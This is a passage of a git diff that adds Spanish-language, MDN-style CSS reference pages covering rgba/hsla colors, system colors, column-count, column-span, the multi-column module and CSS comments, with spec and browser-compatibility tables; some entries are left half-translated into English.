+ <strong>a</strong> representa opacidad: 0=transparente; 1=opaco;</p>
+
+<pre class="brush: css">rgba(255,0,0,0.1)   <span style="background: rgba(255,0,0,0.1);"> /* 10% opaque red */  </span>
+rgba(255,0,0,0.4)   <span style="background: rgba(255,0,0,0.4);"> /* 40% opaque red */  </span>
+rgba(255,0,0,0.7)   <span style="background: rgba(255,0,0,0.7);"> /* 70% opaque red */  </span>
+rgba(255,0,0,  1)   <span style="background: rgba(255,0,0,1);"> /* full opaque red */ </span>
+</pre>
+
+<h3 id="hsla()"><a id="hsla" name="hsla"><code>hsla()</code></a></h3>
+
+<p>Podemos definir los colores usando el modelo saturación tono (hue) - (saturation) - brillo (lightness)  (HSLa) usando lla notación funcional <code>hsla()</code>. HSLa amplía el modelo HSL incluyendo el canal alfa, permitiendo de esta manera especificar la opacidad de un color.<br>
+ <strong>a</strong> es la opacidad: 0=transparente; 1=opaco;</p>
+
+<pre class="brush: css" style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">hsla(240,100%,50%,0.05)  <span style="background: hsla(240,100%,50%,0.05);"> /* 5% opaque blue */   </span>
+hsla(240,100%,50%, 0.4)  <span style="background: hsla(240,100%,50%,0.4);"> /* 40% opaque blue */  </span>
+hsla(240,100%,50%, 0.7)  <span style="background: hsla(240,100%,50%,0.7);"> /* 70% opaque blue */  </span>
+hsla(240,100%,50%,   1)  <span style="background: hsla(240,100%,50%,1);"> /* full opaque blue */ </span>
+</pre>
+
+<h3 id="Colores_de_Sistema">Colores de Sistema</h3>
+
+<p>No todos los colores de sistema son soportados por todos los sistemas. {{deprecated_inline}} para usar en páginas web públicas..</p>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0pt 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 15em; background: #eee; -webkit-columns: 15em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>ActiveBorder</dt>
+ <dd>Borde de la ventana activa</dd>
+ <dt>ActiveCaption</dt>
+ <dd>Título de la ventana activa. Deb usarse con <code>CaptionText</code> como color de fondo</dd>
+ <dt>AppWorkspace</dt>
+ <dd>Color de fondo para el interfaz de múltiples documentos.</dd>
+ <dt>Background</dt>
+ <dd>Fondo de escritorio.</dd>
+ <dt>ButtonFace</dt>
+ <dd>Color de fondo frontal para elementos 3-D que parecen 3-D debido a una capa del borde próximo. Debe usar con el color de frente <code>ButtonText</code> .</dd>
+ <dt>ButtonHighlight</dt>
+ <dd>The color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border.</dd>
+ <dt>ButtonShadow</dt>
+ <dd>The color of the border away from the light source for 3-D elements that appear 3-D due to that layer of surrounding border.</dd>
+ <dt>ButtonText</dt>
+ <dd>Text on push buttons. Should be used with the <code>ButtonFace</code> or <code>ThreeDFace</code> background color.</dd>
+ <dt>CaptionText</dt>
+ <dd>Text in caption, size box, and scrollbar arrow box. Should be used with the <code>ActiveCaption</code> background color.</dd>
+ <dt>GrayText</dt>
+ <dd>Gris para el texto deshabilitado:</dd>
+ <dt>Highlight</dt>
+ <dd>Elemento(s) seleccionados en un control. Debe ser usado con el color de frente <code>HighlightText.</code></dd>
+ <dt>HighlightText</dt>
+ <dd>Texto de los elemento(s) seleccionados en un control. Debe usar con el color de fondo <code>Highlight</code>.</dd>
+ <dt>InactiveBorder</dt>
+ <dd>Borde de ventana inactivo.</dd>
+ <dt>InactiveCaption</dt>
+ <dd>Inactive window caption. Should be used with the <code>InactiveCaptionText</code> foreground color.</dd>
+ <dt>InactiveCaptionText</dt>
+ <dd>Color of text in an inactive caption.  Should be used with the <code>InactiveCaption</code> background color.</dd>
+ <dt>InfoBackground</dt>
+ <dd>Color de foBackground color for tooltip controls. Should be used with the <code>InfoText</code> foreground color.</dd>
+ <dt>InfoText</dt>
+ <dd>Text color for tooltip controls.  Should be used with the <code>InfoBackground</code> background color.</dd>
+ <dt>Menu</dt>
+ <dd>Fondo del menú. Debe ser usado Menu background. Should be used with the <code>MenuText</code> or  <code>-moz-MenuBarText</code> foreground color.</dd>
+ <dt>MenuText</dt>
+ <dd>Texto en el menú. Debe ser usado Text in menus. Should be used with the <code>Menu</code> background color.</dd>
+ <dt>Scrollbar</dt>
+ <dd>Color de fondo para las barras de scroll.</dd>
+ <dt>ThreeDDarkShadow</dt>
+ <dd>The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDFace</dt>
+ <dd>The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border. Should be used with the <code>ButtonText</code> foreground color.</dd>
+ <dt>ThreeDHighlight</dt>
+ <dd>The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two<br>
+ concentric layers of surrounding border.</dd>
+ <dt>ThreeDLightShadow</dt>
+ <dd>The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two<br>
+ concentric layers of surrounding border.</dd>
+ <dt>ThreeDShadow</dt>
+ <dd>The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>Window</dt>
+ <dd>Fondo de las ventanas. Debe usarse con el color de frente <code>WindowText</code>.</dd>
+ <dt>WindowFrame</dt>
+ <dd>Marco de ventana</dd>
+ <dt>WindowText</dt>
+ <dd>Texto en las ventanas.Debe usarse con el color de fono de ventana.</dd>
+</dl>
+
+<h3 id="Extensiones_de_Mozilla_al_Sistema_de_Colores">Extensiones de Mozilla al Sistema de Colores</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 17em; background: #eee; -webkit-columns: 17em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>-moz-ButtonDefault</dt>
+ <dd>The border color that goes around buttons that represent the default action for a dialog box.</dd>
+ <dt>-moz-ButtonHoverFace</dt>
+ <dd>The background color of a button that the mouse pointer is over (which would be <code>ThreeDFace</code> or <code>ButtonFace</code> when the mouse pointer is not over it). Should be used with the <code>-moz-ButtonHoverText</code> foreground color.</dd>
+ <dt>-moz-ButtonHoverText</dt>
+ <dd>The text color of a button that the mouse pointer is over (which would be ButtonText when the mouse pointer is not over it).  Should be used with the <code>-moz-ButtonHoverFace background</code> color.</dd>
+ <dt>-moz-CellHighlight</dt>
+ <dd>Background color for selected item in a tree widget.  Should be used with the <code>-moz-CellHighlightText</code> foreground color. See also <code>-moz-html-CellHighlight</code>.</dd>
+ <dt>-moz-CellHighlightText</dt>
+ <dd>Text color for a selected item in a tree. Should be used with the <code>-moz-CellHighlight background</code> color. See also <code>-moz-html-CellHighlightText</code>.</dd>
+ <dt>-moz-Combobox</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Background color for combo-boxes.  Should be used with the <code>-moz-ComboboxText</code> foreground color. In versions prior to 1.9.2, use <code>-moz-Field</code> instead.</dd>
+ <dt>-moz-ComboboxText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Text color for combo-boxes. Should be used with the <code>-moz-Combobox</code> background color.  In versions prior to 1.9.2, use <code>-moz-FieldText</code> instead.</dd>
+ <dt>-moz-Dialog</dt>
+ <dd>Color de fondo para cuadros de diálogo. Debe usarse con el color de frente <code>-moz-DialogText</code></dd>
+ <dt>-moz-DialogText</dt>
+ <dd>Text color for dialog boxes. Should be used with the <code>-moz-Dialog</code> background color.</dd>
+ <dt>-moz-dragtargetzone</dt>
+ <dt>-moz-EvenTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for even-numbered rows in a tree.  Should be used with the <code>-moz-FieldText</code> foreground color. In Gecko versions prior to 1.9, use <code>-moz-Field</code>.  See also <code>-moz-OddTreeRow</code>.</dd>
+ <dt>-moz-Field</dt>
+ <dd>Text field background color.  Should be used with the <code>-moz-FieldText</code> foreground color.</dd>
+ <dt>-moz-FieldText</dt>
+ <dd>Text field text color. Should be used with the <code>-moz-Field</code>, <code>-moz-EvenTreeRow</code>, or <code>-moz-OddTreeRow</code> background color.</dd>
+ <dt>-moz-html-CellHighlight</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the <code>-moz-html-CellHighlightText</code> foreground color. Prior to Gecko 1.9, use <code>-moz-CellHighlight</code>.</dd>
+ <dt>-moz-html-CellHighlightText</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Text color for highlighted items in HTML {{HTMLElement("select")}}s.  Should be used with the <code>-moz-html-CellHighlight</code> background color. Prior to Gecko 1.9, use <code>-moz-CellHighlightText</code>.</dd>
+ <dt>-moz-mac-accentdarkestshadow</dt>
+ <dt>-moz-mac-accentdarkshadow</dt>
+ <dt>-moz-mac-accentface</dt>
+ <dt>-moz-mac-accentlightesthighlight</dt>
+ <dt>-moz-mac-accentlightshadow</dt>
+ <dt>-moz-mac-accentregularhighlight</dt>
+ <dt>-moz-mac-accentregularshadow</dt>
+ <dt>-moz-mac-chrome-active</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-chrome-inactive</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-focusring</dt>
+ <dt>-moz-mac-menuselect</dt>
+ <dt>-moz-mac-menushadow</dt>
+ <dt>-moz-mac-menutextselect</dt>
+ <dt>-moz-MenuHover</dt>
+ <dd>Background color for hovered menu items. Often similar to <code>Highlight</code>. Should be used with the <code>-moz-MenuHoverText</code> or <code>-moz-MenuBarHoverText</code> foreground color.</dd>
+ <dt>-moz-MenuHoverText</dt>
+ <dd>Text color for hovered menu items. Often similar to <code>HighlightText</code>.  Should be used with the <code>-moz-MenuHover</code> background color.</dd>
+ <dt>-moz-MenuBarText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Text color in menu bars. Often similar to <code>MenuText</code>. Should be used on top of <code>Menu</code> background.</dd>
+ <dt>-moz-MenuBarHoverText</dt>
+ <dd>Color for hovered text in menu bars. Often similar to <code>-moz-MenuHoverText</code>. Should be used on top of <code>-moz-MenuHover</code> background.</dd>
+ <dt>-moz-nativehyperlinktext</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}} Default platform hyperlink color.</dd>
+ <dt>-moz-OddTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for odd-numbered rows in a tree.  Should be used with the <code>-moz-FieldText</code> foreground color. In Gecko versions prior to 1.9, use <code>-moz-Field</code>. See also <code>-moz-EvenTreeRow</code>.</dd>
+ <dt>-moz-win-communicationstext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Should be used for text in objects with <code>{{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;</code>.</dd>
+ <dt>-moz-win-mediatext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Should be used for text in objects with <code>{{cssxref("-moz-appearance")}}: -moz-win-media-toolbox</code>.</dd>
+</dl>
+
+<h3 id="Extensiones_de_Mozilla_a_las_Preferencias_de_Color">Extensiones de Mozilla a las Preferencias de Color</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; background: #eee;">
+ <dt>-moz-activehyperlinktext</dt>
+ <dd>Preferencias de usuario para el color de texto de los enlaces activos. Debe ser usado con el color de fondo por defecto del documento.</dd>
+ <dt>-moz-default-background-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} Preferencias de usuario  para el color de fondo del documento.</dd>
+ <dt>-moz-default-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} Preferencias de usuario para el color del texto.</dd>
+ <dt>-moz-hyperlinktext</dt>
+ <dd>Preferencias de usuario para el color del texto de los enlaces sin visitar. Debe ser usado con el color de fondo por defecto del documento.</dd>
+ <dt>-moz-visitedhyperlinktext</dt>
+ <dd>Preferencias de usuario para el color del texto de los enlaces ya visitados. Debe ser usado con el color de fondo por defecto del documento.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Añadido el color <code>rebeccapurple</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Colores de sistema depreciados; añadidos colores SVG; añadidos las notaciones funcionales <code>rgba()</code>, <code>hsl()</code>, <code>hsla().</code></td>
+  </tr>
+  <tr style="vertical-align: top;">
+   <td style="vertical-align: top;">{{SpecName('CSS2.1', 'syndata.html#value-def-color', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS2.1')}}</td>
+   <td style="vertical-align: top;">Añadidos el naranja y los colores de sistema.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{SpecName('CSS1', '#color-units', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS1')}}</td>
+   <td style="vertical-align: top;">Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>palabras clave de colores</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>3.0 <sup>[1]</sup></td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>#RRGGBB</code> | <code>#RGB</code></td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>rgb()</code></td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>hsl()</code></td>
+   <td>1.0</td>
+   <td>1.0 (1.5)</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.1 (525)</td>
+  </tr>
+  <tr>
+   <td><code>rgba()</code></td>
+   <td>1.0</td>
+   <td>3.0 (1.9)</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.1 (525)</td>
+  </tr>
+  <tr>
+   <td><code>hsla()</code></td>
+   <td>1.0</td>
+   <td>3.0 (1.9)</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.1 (525)</td>
+  </tr>
+  <tr>
+   <td><code>currentColor</code></td>
+   <td>1.0</td>
+   <td>1.5 (1.8)</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>4.0 (528)</td>
+  </tr>
+  <tr>
+   <td><code>transparent</code></td>
+   <td>1.0</td>
+   <td>3.0 (1.9)</td>
+   <td>9.0 <sup>[2]</sup></td>
+   <td>10.0</td>
+   <td>3.1 (525)</td>
+  </tr>
+  <tr>
+   <td><code>rebeccapurple</code></td>
+   <td>38.0</td>
+   <td>{{CompatGeckoDesktop("33")}}</td>
+   <td>11</td>
+   <td>25.0</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>rgba()</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>rebeccapurple</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("33")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Los colores  'e'-grey (con una e) (<code>grey</code>, <code>darkgrey</code>, <code>darkslategrey</code>, <code>dimgrey</code>, <code>lightgrey</code>, <code>lightslategrey</code>) sólo son soportados a partir de IE 8.0. De IE 3 a IE 7 sólo son soportadas las variantes con 'a': <code>gray</code>, <code>darkgray</code>, <code>darkslategray</code>, <code>dimgray</code>, <code>lightgray</code>, <code>lightslategray</code>.</p>
+
+<p>[2] IE 7-8 soporta la palabra clave <code>transparent</code> sólo para  {{Cssxref("background")}} y {{cssxref("border")}}. <code>color: transparent;</code> es equivalente a negro en IE. IE6 renderiza también como negros los bordes transparentes.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>La propiedad  {{Cssxref("opacity")}} , que permite definir la transparencia a nivel de elemento.</li>
+ <li>Las propiedades {{Cssxref("color")}}, {{Cssxref("background-color")}}, {{Cssxref("border-color")}}, {{Cssxref("outline-color")}}, {{Cssxref("text-shadow")}}, {{Cssxref("box-shadow")}}.</li>
+</ul>
diff --git a/files/es/web/css/column-count/index.html b/files/es/web/css/column-count/index.html
new file mode 100644
index 0000000000..cc894efa4e
--- /dev/null
+++ b/files/es/web/css/column-count/index.html
@@ -0,0 +1,95 @@
+---
+title: column-count
+slug: Web/CSS/column-count
+tags:
+  - CSS
+  - CSS Multicolumna
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/column-count
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>column-count</code></strong> divide el contenido de un elemento en el número de columnas indicado.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-count.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* Keyword value */
+column-count: auto;
+
+/* &lt;integer&gt; value */
+column-count: 3;
+
+/* Global values */
+column-count: inherit;
+column-count: initial;
+column-count: unset;</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>El número de columnas es determinado por otras propiedades CSS, como {{cssxref("column-width")}}.</dd>
+ <dt><code>{{cssxref("&lt;integer&gt;")}}</code></dt>
+ <dd>Es un {{cssxref("&lt;integer&gt;")}} estrictamente positivo que describe el número ideal de columnas en las que el contenido del elemento va a fluir. Si la propiedad {{cssxref("column-width")}} se establece a un valor que no sea <code>auto</code>, se limitará a indicar el número máximo permitido de columnas.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="content-box"&gt;
+  This is a bunch of text split into three columns
+  using the CSS `column-count` property. The text
+  is equally distributed over the columns.
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.content-box {
+  column-count: 3;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example', 'auto', 120)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#column-count', 'column-count')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.properties.column-count")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño con columnas múltiples</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">Conceptos básicos de Multicol</a></li>
+</ul>
diff --git a/files/es/web/css/column-span/index.html b/files/es/web/css/column-span/index.html
new file mode 100644
index 0000000000..b72bc8859a
--- /dev/null
+++ b/files/es/web/css/column-span/index.html
@@ -0,0 +1,99 @@
+---
+title: column-span
+slug: Web/CSS/column-span
+tags:
+  - CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/column-span
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <strong><code>column-span</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> hace posible que un elemento se extienda sobre todas las columnas cuando su valor se establece a <code>all</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-span.html")}}</div>
+
+<pre class="brush:css no-line-numbers">/* Keyword values */
+column-span: none;
+column-span: all;
+
+/* Global values */
+column-span: inherit;
+column-span: initial;
+column-span: unset;
+</pre>
+
+<p>A un elemento que se extiende más de una columna se le llama elemento extendido (<em>spanning element)</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>column-span</code> se especifica como una de las palabras clave listadas a continuación.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>El elemento no se extiende en sobre varias columnas.</dd>
+ <dt><code>all</code></dt>
+ <dd>El elemento se extiende sobre todas las columnas. El contenido en el flujo normal que aparece antes del elemento se equilibra automáticamente en todas las columnas antes de que aparezca el elemento. El elemento establece un nuevo contexto de formato de bloque..</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo, la cabecera se expande sobre todas las columnas del artículo.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;h2&gt;My Very Special Columns&lt;/h2&gt;
+  &lt;p&gt;This is a bunch of text split into three columns
+     using the CSS `columns` property. The text
+     is equally distributed over the columns.&lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">article {
+  columns: 3;
+}
+
+h2 {
+  column-span: all;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example', 'auto', 120)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#column-span', 'column-span')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.column-span")}}</p>
diff --git a/files/es/web/css/columnas_css/index.html b/files/es/web/css/columnas_css/index.html
new file mode 100644
index 0000000000..949f2eca71
--- /dev/null
+++ b/files/es/web/css/columnas_css/index.html
@@ -0,0 +1,112 @@
+---
+title: Columnas CSS
+slug: Web/CSS/Columnas_CSS
+tags:
+  - CSS
+  - Referencia CSS
+  - Visión general
+translation_of: Web/CSS/CSS_Columns
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Columnas CSS</strong> es un módulo de CSS que define un diseño multicolumna, permitiendo indicar cómo debe fluir el contenido a través de las columnas y cómo manejar reglas y separaciones.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades_CSS">Propiedades CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("column-count")}}</li>
+ <li>{{cssxref("column-fill")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("column-rule")}}</li>
+ <li>{{cssxref("column-rule-color")}}</li>
+ <li>{{cssxref("column-rule-style")}}</li>
+ <li>{{cssxref("column-rule-width")}}</li>
+ <li>{{cssxref("column-span")}}</li>
+ <li>{{cssxref("column-width")}}</li>
+ <li>{{cssxref("columns")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/es/docs/Columnas_con_CSS-3">Diseños multicolumna con CSS</a></dt>
+ <dd>Tutorial paso a paso sobre cómo desarrollar diseños de varias columnas.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix('-webkit')}}</td>
+   <td>{{CompatGeckoDesktop(9)}}{{property_prefix('-moz')}}</td>
+   <td>10</td>
+   <td>11.10<br>
+    15{{property_prefix('-webkit')}}</td>
+   <td>3.0 (522){{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1{{property_prefix('-webkit')}}</td>
+   <td>{{compatGeckoMobile(22)}}{{property_prefix('-moz')}}</td>
+   <td>10</td>
+   <td>11.5<br>
+    32{{property_prefix('-webkit')}}</td>
+   <td>3.2{{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/comentarios/index.html b/files/es/web/css/comentarios/index.html
new file mode 100644
index 0000000000..f09cac662a
--- /dev/null
+++ b/files/es/web/css/comentarios/index.html
@@ -0,0 +1,49 @@
+---
+title: Comentarios
+slug: Web/CSS/Comentarios
+tags:
+  - CSS
+  - Principiante
+  - Referencia CSS
+translation_of: Web/CSS/Comments
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Los comentarios son usados para añadir notas explicatorias o prevenir que el navegador interprete partes de la hoja de estilos.</p>
+
+<p>Los comentarios se pueden colocar en cualquier espacio en blanco que se permita en la hoja de estilos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">/* Comentario */</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:css">/* Comentario de una sola línea */
+
+/*
+Un comentario
+que se extiende
+en varias
+líneas
+*/
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>La sintaxis de comentarios <code>/* */</code> es usada para comentarios de una o múltiples líneas. No hay otra forma de especificar comentarios en hojas de estilos externas. Sin embargo, cuando se usa el elemento <code>&lt;style&gt;</code>, se puede usar <code>&lt;!-- --&gt;</code> para ocultar CSS para navegadores antiguos, aunque no es recomendable. Como en la mayoría de los lenguajes de programación que usan la sintaxis de comentarios <code>/* */</code> estos no pueden ser anidados. En otras palabras, la primera instancia de <code>*/</code> que siga a una instancia de <code>/*</code> cerrará el comentario.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/CSS21/syndata.html#comments">CSS 2.1 Syntax and basic data types #comments</a></li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Referencia_CSS">Referencia CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/es/web/css/comenzando_(tutorial_css)/index.html b/files/es/web/css/comenzando_(tutorial_css)/index.html
new file mode 100644
index 0000000000..54997a5f6e
--- /dev/null
+++ b/files/es/web/css/comenzando_(tutorial_css)/index.html
